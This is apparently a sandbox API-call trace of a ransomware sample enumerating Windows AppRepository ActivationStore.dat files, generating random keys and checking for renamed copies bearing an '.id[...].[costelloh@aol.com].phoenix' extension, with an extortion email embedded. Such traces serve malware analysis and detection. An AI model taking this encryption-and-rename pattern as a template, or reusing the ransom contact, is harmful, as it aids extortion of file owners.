	[0235.331] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.AssignedAccessLockApp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.assignedaccesslockapp_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0235.635] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0235.635] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.CloudExperienceHost_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.cloudexperiencehost_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0235.637] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=65536) returned 1
	[0235.637] CloseHandle (hObject=0x2e4) returned 1
	[0235.637] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.CloudExperienceHost_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.cloudexperiencehost_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat")) returned 0x20
	[0235.637] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.CloudExperienceHost_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.cloudexperiencehost_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0235.637] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.CloudExperienceHost_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.cloudexperiencehost_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0235.637] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0235.637] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Cortana_1.8.12.15063_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.cortana_1.8.12.15063_neutral_neutral_cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0235.638] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=524288) returned 1
	[0235.638] CloseHandle (hObject=0x2e4) returned 1
	[0235.638] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Cortana_1.8.12.15063_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.cortana_1.8.12.15063_neutral_neutral_cw5n1h2txyewy\\activationstore.dat")) returned 0x20
	[0235.638] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Cortana_1.8.12.15063_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.cortana_1.8.12.15063_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0235.638] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Cortana_1.8.12.15063_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.cortana_1.8.12.15063_neutral_neutral_cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0235.752] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0235.752] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.HolographicFirstRun_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.holographicfirstrun_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0235.753] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=16384) returned 1
	[0235.753] CloseHandle (hObject=0x2c8) returned 1
	[0235.753] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.HolographicFirstRun_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.holographicfirstrun_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat")) returned 0x20
	[0235.753] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.HolographicFirstRun_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.holographicfirstrun_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0235.754] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.HolographicFirstRun_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.holographicfirstrun_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0235.923] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0235.924] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.OOBENetworkCaptivePortal_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.oobenetworkcaptiveportal_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0235.925] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=16384) returned 1
	[0235.925] CloseHandle (hObject=0x2e4) returned 1
	[0235.925] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.OOBENetworkCaptivePortal_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.oobenetworkcaptiveportal_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat")) returned 0x20
	[0235.925] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.OOBENetworkCaptivePortal_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.oobenetworkcaptiveportal_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0235.925] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.OOBENetworkCaptivePortal_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.oobenetworkcaptiveportal_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0235.955] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0235.955] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.OOBENetworkConnectionFlow_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.oobenetworkconnectionflow_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0235.957] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=8192) returned 1
	[0235.957] CloseHandle (hObject=0x2c8) returned 1
	[0235.957] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.OOBENetworkConnectionFlow_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.oobenetworkconnectionflow_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat")) returned 0x20
	[0235.957] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.OOBENetworkConnectionFlow_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.oobenetworkconnectionflow_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0235.957] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.OOBENetworkConnectionFlow_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.oobenetworkconnectionflow_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0235.984] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0235.984] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.ParentalControls_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.parentalcontrols_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0235.985] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=16384) returned 1
	[0235.985] CloseHandle (hObject=0x2c8) returned 1
	[0235.985] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.ParentalControls_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.parentalcontrols_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat")) returned 0x20
	[0235.986] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.ParentalControls_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.parentalcontrols_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0235.986] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.ParentalControls_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.parentalcontrols_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0236.049] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0236.049] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0236.050] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=262144) returned 1
	[0236.050] CloseHandle (hObject=0x2c8) returned 1
	[0236.051] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\activationstore.dat")) returned 0x20
	[0236.051] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0236.051] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0236.128] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0236.128] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.SecHealthUI_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.sechealthui_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0236.129] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=65536) returned 1
	[0236.129] CloseHandle (hObject=0x2c8) returned 1
	[0236.129] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.SecHealthUI_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.sechealthui_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat")) returned 0x20
	[0236.129] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.SecHealthUI_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.sechealthui_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0236.130] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.SecHealthUI_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.sechealthui_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0236.236] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0236.236] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.SecondaryTileExperience_10.0.0.0_neutral__cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.secondarytileexperience_10.0.0.0_neutral__cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0236.245] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=8192) returned 1
	[0236.245] CloseHandle (hObject=0x2e4) returned 1
	[0236.245] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.SecondaryTileExperience_10.0.0.0_neutral__cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.secondarytileexperience_10.0.0.0_neutral__cw5n1h2txyewy\\activationstore.dat")) returned 0x20
	[0236.245] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.SecondaryTileExperience_10.0.0.0_neutral__cw5n1h2txyewy\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.secondarytileexperience_10.0.0.0_neutral__cw5n1h2txyewy\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0236.245] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.SecondaryTileExperience_10.0.0.0_neutral__cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.secondarytileexperience_10.0.0.0_neutral__cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0236.301] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0236.301] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.SecureAssessmentBrowser_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.secureassessmentbrowser_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0236.308] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=16384) returned 1
	[0236.308] CloseHandle (hObject=0x2c8) returned 1
	[0236.308] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.SecureAssessmentBrowser_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.secureassessmentbrowser_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat")) returned 0x20
	[0236.308] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.SecureAssessmentBrowser_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.secureassessmentbrowser_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0236.308] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.SecureAssessmentBrowser_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.secureassessmentbrowser_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0236.620] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0236.620] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.WindowPicker_10.0.15063.332_neutral__cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.windowpicker_10.0.15063.332_neutral__cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0237.111] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=8192) returned 1
	[0237.111] CloseHandle (hObject=0x2f4) returned 1
	[0237.112] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.WindowPicker_10.0.15063.332_neutral__cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.windowpicker_10.0.15063.332_neutral__cw5n1h2txyewy\\activationstore.dat")) returned 0x20
	[0237.112] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.WindowPicker_10.0.15063.332_neutral__cw5n1h2txyewy\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.windowpicker_10.0.15063.332_neutral__cw5n1h2txyewy\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0237.112] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.WindowPicker_10.0.15063.332_neutral__cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.windowpicker_10.0.15063.332_neutral__cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0237.283] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0237.283] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windowsalarms_10.1702.333.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0237.284] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=32768) returned 1
	[0237.284] CloseHandle (hObject=0x2d4) returned 1
